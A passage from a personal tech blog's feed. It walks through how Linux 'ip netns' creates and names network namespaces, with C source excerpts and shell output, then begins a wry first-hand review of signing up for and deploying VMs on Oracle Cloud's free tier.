&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;That path looks familiar.
We used it a few lines ago to hold onto our original namespace.
But now, after &lt;code&gt;unshare&lt;/code&gt;, it points to a new namespace.&lt;/p&gt;
&lt;p&gt;You can see this in &lt;code&gt;/proc&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# ls -al /proc/self/ns/net
lrwxrwxrwx    1 root     root             0 Dec  5 18:40 /proc/self/ns/net -&amp;gt; net:[4026532206]
root# ip netns exec foo ls -al /proc/self/ns/net
lrwxrwxrwx    1 root     root             0 Dec  5 18:40 /proc/self/ns/net -&amp;gt; net:[4026532351]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This output was taken after the full &lt;code&gt;ip netns add foo&lt;/code&gt; invocation.
&lt;code&gt;4026532206&lt;/code&gt; is the namespace we are currently holding on to in &lt;code&gt;saved_netns&lt;/code&gt;.
&lt;code&gt;4026532351&lt;/code&gt; is our fresh namespace that we have not given a name yet.
And if we exit now, it would go away.
It turns out that giving it a name solves that problem too.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;915
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;916
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;917
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;snprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;proc_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;sizeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;proc_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;/proc/%d/ns/net&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;This is for the &lt;code&gt;attach&lt;/code&gt; case, where we use &lt;code&gt;ip netns&lt;/code&gt; to give a name to a namespace already existing because at least one process is in it.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;919
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;920
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;cm&#34;&gt;/* Bind the netns last so I can watch for it */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;mount&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;proc_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;netns_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;none&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MS_BIND&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;NULL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Another magical &lt;code&gt;mount&lt;/code&gt; invocation.
With arguments filled in:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mount&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;/proc/self/ns/net&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;/var/run/netns/foo&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;none&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MS_BIND&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;NULL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It&amp;rsquo;s another bind mount.
We take the handle to our new namespace in &lt;code&gt;/proc&lt;/code&gt;, and mount it to the empty file we created earlier.
Now if &lt;code&gt;ip&lt;/code&gt; exits, the namespace does not disappear, because this mount is holding on to it for us!&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;921
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;922
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;923
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;924
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;925
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;926
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;927
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;928
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;929
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;930
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;931
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;932
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;933
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;934
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;935
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;936
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;937
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Bind %s -&amp;gt; %s failed: %s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;n&#34;&gt;proc_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;netns_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;strerror&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;goto&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;out_delete&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;netns_restore&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;out_delete&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;create&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;netns_restore&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;netns_delete&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;argc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;argv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;unlink&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;netns_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Cannot remove namespace file &lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;: %s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;n&#34;&gt;netns_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;strerror&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;And there we have it.
One fresh namespace, freshly named.
You can see it for yourself:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# mount
tmpfs on /tmp/run/netns type tmpfs (rw,nosuid,nodev,noatime)
nsfs on /tmp/run/netns/foo type nsfs (rw)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Further reading (some of which has been very helpful to me while writing this post):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/shuveb/containers-the-hard-way&#34;&gt;https://github.com/shuveb/containers-the-hard-way&lt;/a&gt; (which links to &lt;a href=&#34;https://unixism.net/2020/06/containers-the-hard-way-gocker-a-mini-docker-written-in-go/&#34;&gt;https://unixism.net/2020/06/containers-the-hard-way-gocker-a-mini-docker-written-in-go/&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://pkg.go.dev/github.com/vishvananda/netns#section-readme&#34;&gt;https://pkg.go.dev/github.com/vishvananda/netns#section-readme&lt;/a&gt; - note how it saves, makes, restores, just like &lt;code&gt;ip&lt;/code&gt; does.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://helda.helsinki.fi/bitstream/handle/10138/320475/Viding_Jasu_DemystifyingContainerNetworking_2020.pdf?sequence=2&amp;amp;isAllowed=y&#34;&gt;https://helda.helsinki.fi/bitstream/handle/10138/320475/Viding_Jasu_DemystifyingContainerNetworking_2020.pdf?sequence=2&amp;amp;isAllowed=y&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Update, December 11th 2021: after I posted this article, &lt;a href=&#34;https://github.com/osfrickler/&#34;&gt;Dr. Jens Harbott&lt;/a&gt; sent me:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;really nice writeup, I have a bonus question though: can you also explain what the &amp;ldquo;(id: 0)&amp;rdquo; etc. means for some netns?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I had not spotted any such thing during my tinkering, but together we figured it out:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# ip netns add foo
# ip netns set foo 15
# ip netns list
foo (id: 15)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So, it turns out Linux does somewhat have a concept of naming network namespaces - by number.
Autoassignment (starting from 0) is possible too.
(Reading and assigning these IDs is the only code in &lt;code&gt;ipnetns.c&lt;/code&gt; that uses Netlink!)&lt;/p&gt;
</content>
            
            
            
            
            
                
                    
                
            
        </entry>
    
        <entry>
            <title type="text">Exploring Oracle Cloud and the Always Free Resources</title>
            <link rel="alternate" type="text/html" href="https://7bits.nl/journal/posts/exploring-oracle-cloud-and-the-always-free-resources/" />
            <id>https://7bits.nl/journal/posts/exploring-oracle-cloud-and-the-always-free-resources/</id>
            <updated>2022-11-17T22:49:19&#43;01:00</updated>
            <published>2021-08-31T21:28:36&#43;02:00</published>
            <author>
                    <name>Peter van Dijk</name>
                    <uri>https://7bits.nl/journal/</uri>
                    <email>peter@7bits.nl</email>
                    </author>
            <rights>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.en)</rights><summary type="html">A friend recently mentioned to me that Oracle Cloud has a pretty decent &amp;lsquo;Always Free&amp;rsquo; Tier, with 4 ARM64 cores sharing 24GB of RAM, one AMD VM, and 200GB of block storage to divide between them.
I decided to have a look at the service, and below you will find my experiences.</summary>
            
                <content type="html">&lt;p&gt;A friend recently mentioned to me that Oracle Cloud has a pretty decent &amp;lsquo;Always Free&amp;rsquo; Tier, with 4 ARM64 cores sharing 24GB of RAM, one AMD VM, and 200GB of block storage to divide between them.&lt;/p&gt;
&lt;p&gt;I decided to have a look at the service, and below you will find my experiences.&lt;/p&gt;
&lt;p&gt;Content below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/exploring-oracle-cloud-and-the-always-free-resources/#signup&#34;&gt;Signup process&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/exploring-oracle-cloud-and-the-always-free-resources/#deploy&#34;&gt;Deploying VMs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/exploring-oracle-cloud-and-the-always-free-resources/#conclusion&#34;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/exploring-oracle-cloud-and-the-always-free-resources/#updates&#34;&gt;Updates&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;signup&#34;&gt;Signup process&lt;/h1&gt;
&lt;p&gt;After entering my email address and training the AI on how to recognise various types of airplanes, I am promised a confirmation email.
The confirmation email comes in.
It says &amp;ldquo;click the button below&amp;rdquo;.
There is no button below, so I click &amp;ldquo;Load images&amp;rdquo; in my mail client.&lt;/p&gt;
&lt;p&gt;The button appears. Ish.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;confirmation-email.png&#34; alt=&#34;confirmation email&#34;&gt;&lt;/p&gt;
&lt;p&gt;(If you&amp;rsquo;re wondering about the compression artifacts in that header image, I got it like that.)&lt;/p&gt;
&lt;p&gt;I click the button, the same form as before appears, with more fields, but empty.
A few seconds later it reloads and at least my username and e-mail address are filled in again.&lt;/p&gt;
&lt;p&gt;I am warned that ARM capacity is limited in many places.
Luckily for me, Amsterdam is not among those places.&lt;/p&gt;
&lt;p&gt;I am also warned:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Your home region is the geographic location where your account and identity resources will be created. It is not changeable after sign-up. See Regions for service availability.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I carefully pick Amsterdam.&lt;/p&gt;
&lt;p&gt;Firefox generously offers to generate a password for me.
I say yes, and Firefox concocts a creation nobody could imagine.
Oracle Cloud will have none of it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Password must contain a minimum of 8 characters, 1 lowercase, 1 uppercase, 1 numeric, and 1 special character .&lt;/li&gt;
&lt;li&gt;Password cannot exceed 40 characters, contain the users first name, last name, email address, spaces, or ` ~ &amp;lt; &amp;gt; \ characters.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;So I generate a password using &lt;code&gt;pwgen -y&lt;/code&gt; and vandalise it until Oracle Cloud is happy.&lt;/p&gt;
&lt;p&gt;I enter my address in an overabundance of &amp;ldquo;address&amp;rdquo; fields; my phone number; my city of residence.
Then I come to the zip/postal code field, and I enter mine, which looks like &amp;ldquo;1234AB&amp;rdquo;.
The format is not correct - I forgot to put a space between the numbers and the letters.
How could I be so dumb!
If only we had devices that could automatically fix obvious errors in input from humans.&lt;/p&gt;
&lt;p&gt;I am redirected to a payment provider so that my credit card can be used to prevent abuse.
I am promised that a single EUR will be captured and swiftly released.
My online credit card statement confirms this seconds after.&lt;/p&gt;
&lt;p&gt;The machine spends 30 seconds &amp;ldquo;setting up my account&amp;rdquo;.
Then I get an email confirming various things, but also warning me&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We’re still setting up billing and a few other details, but you can go ahead and get started now.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;16 minutes later, I shall get an email telling me&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Your account is now fully set up! You have €250 in credits that you can use towards any Oracle Cloud services for the next 30 days.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;and&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you provided a credit card during sign-up, it was only used for verification and will not be charged unless you upgrade to a paid account. Note that usage during your promotional period is discounted.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I log in and start deploying VMs and poking around.
See the &lt;a href=&#34;https://7bits.nl/journal/posts/exploring-oracle-cloud-and-the-always-free-resources/#deploy&#34;&gt;Deploying VMs&lt;/a&gt; section below for my experiences with that.&lt;/p&gt;
&lt;p&gt;After poking around for a while on the operational side of things, I decide to check that I really am not accidentally going to pay for anything.
I click around and find the page where I might do the &amp;ldquo;upgrade to paid&amp;rdquo; (which I do not want to do at this point, but I want to make sure everything is right).
The page tells me:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This account is managed by enterprise agreement with Oracle and any upgrade operation from this page is not available for the tenancy. Please contact your account manager to make any changes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I trust this means that somebody will spend 30 minutes with me on the phone before any money changes hands.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Two hours&lt;/em&gt; after the &amp;ldquo;fully set up!&amp;rdquo; email I get another email:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You have been associated to a cloud subscription and granted access to a Support Identifier for Oracle Support.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which, time wise, might have been when the trouble started.&lt;/p&gt;
&lt;p&gt;It is around this time that I find myself logged out of the panel.
The login page tells me:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We have detected that your tenancy has been federated to another Identity Provider.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I also can no longer log in.
When I check my saved passwords, I notice that the saved one is definitely not the one I carefully crafted to meet Oracle&amp;rsquo;s absurd demands - it is the one Firefox invented for me just before that.
I hit various buttons with labels such a &amp;ldquo;Get help signing in&amp;rdquo; and &amp;ldquo;Forgot password&amp;rdquo;.
Eventually I am promised an email to reset my password.&lt;/p&gt;
&lt;p&gt;No email has come.
As I write this, I am locked out of my account, and also very happy I had not actually moved any services to the Oracle Cloud yet.&lt;/p&gt;
&lt;h1 id=&#34;deploy&#34;&gt;Deploying VMs&lt;/h1&gt;
&lt;h2 id=&#34;console&#34;&gt;Console&lt;/h2&gt;
&lt;p&gt;Although Oracle&amp;rsquo;s set of services appears designed to look as impressive as Amazon&amp;rsquo;s, I find the console a delight to work with compared to Amazon&amp;rsquo;s &amp;ldquo;you should probably get a consultant&amp;rdquo; maze.
However, the sluggishness and endless spinners for loading tables with zero or a few entries that I&amp;rsquo;ve grown accustomed to with Azure and Amazon are present here too.
Almost feels like home.&lt;/p&gt;
&lt;h2 id=&#34;vm-deployment&#34;&gt;VM Deployment&lt;/h2&gt;
&lt;p&gt;I deployed and destroyed a few VMs.
Deployment of the first one took minutes, those after that deployed in 20-30 seconds I think.&lt;/p&gt;
&lt;p&gt;OS choices are okay.
A few flavours of Oracle Linux (both in 7 and 8, with 7.9 the current default), plus some Ubuntu.
On the AMD VM (but not on the ARM machines), I think I spotted CentOS as an option.&lt;/p&gt;
&lt;p&gt;Having to paste my SSH pubkey into a box for every VM deployment is a bit tedious.
I trust there is a better way but it is not obvious from the VM deployment page.&lt;/p&gt;
&lt;p&gt;The VMs, once deployed, look fine.
Various Oracle processes are running - see &lt;a href=&#34;https://7bits.nl/journal/posts/exploring-oracle-cloud-and-the-always-free-resources/#agents&#34;&gt;Oracle Cloud Agents below&lt;/a&gt;.
On the Oracle Linux 8 VMs, for some reason 10GB of the default 50GB root volume size is dedicated to storing system metrics in &lt;code&gt;/var/oled&lt;/code&gt;.
At least it&amp;rsquo;s LVM, so if I wanted to get rid of that partition, I easily could.&lt;/p&gt;
&lt;p&gt;On an Oracle Linux 7 install, I get the full 50GB as &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;dns-trouble&#34;&gt;DNS Trouble&lt;/h2&gt;
&lt;p&gt;At one point, I deployed an ARM VM called &amp;ldquo;ampere&amp;rdquo; (named after the ARM CPUs they&amp;rsquo;re using).
The VM creation form tells me my machine will be reachable at &lt;code&gt;ampere.subnet08302137.vcn08302137.oraclevcn.com&lt;/code&gt;.
After the creation form, that name is nowhere to be found anywhere in the control panel.
The name servers for the oraclevcn.com domain appear to be entirely broken:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ dig ampere.subnet08302137.vcn08302137.oraclevcn.com. @orcldns1.ultradns.com.

; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.11.5-P4-5.1+deb10u5-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; ampere.subnet08302137.vcn08302137.oraclevcn.com. @orcldns1.ultradns.com.
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: SERVFAIL, id: 53417
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;ampere.subnet08302137.vcn08302137.oraclevcn.com. IN A

;; Query time: 35 msec
;; SERVER: 2001:502:f3ff::64#53(2001:502:f3ff::64)
;; WHEN: Tue Aug 31 21:00:16 CEST 2021
;; MSG SIZE  rcvd: 76
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;agents&#34;&gt;Oracle Cloud Agents&lt;/h2&gt;
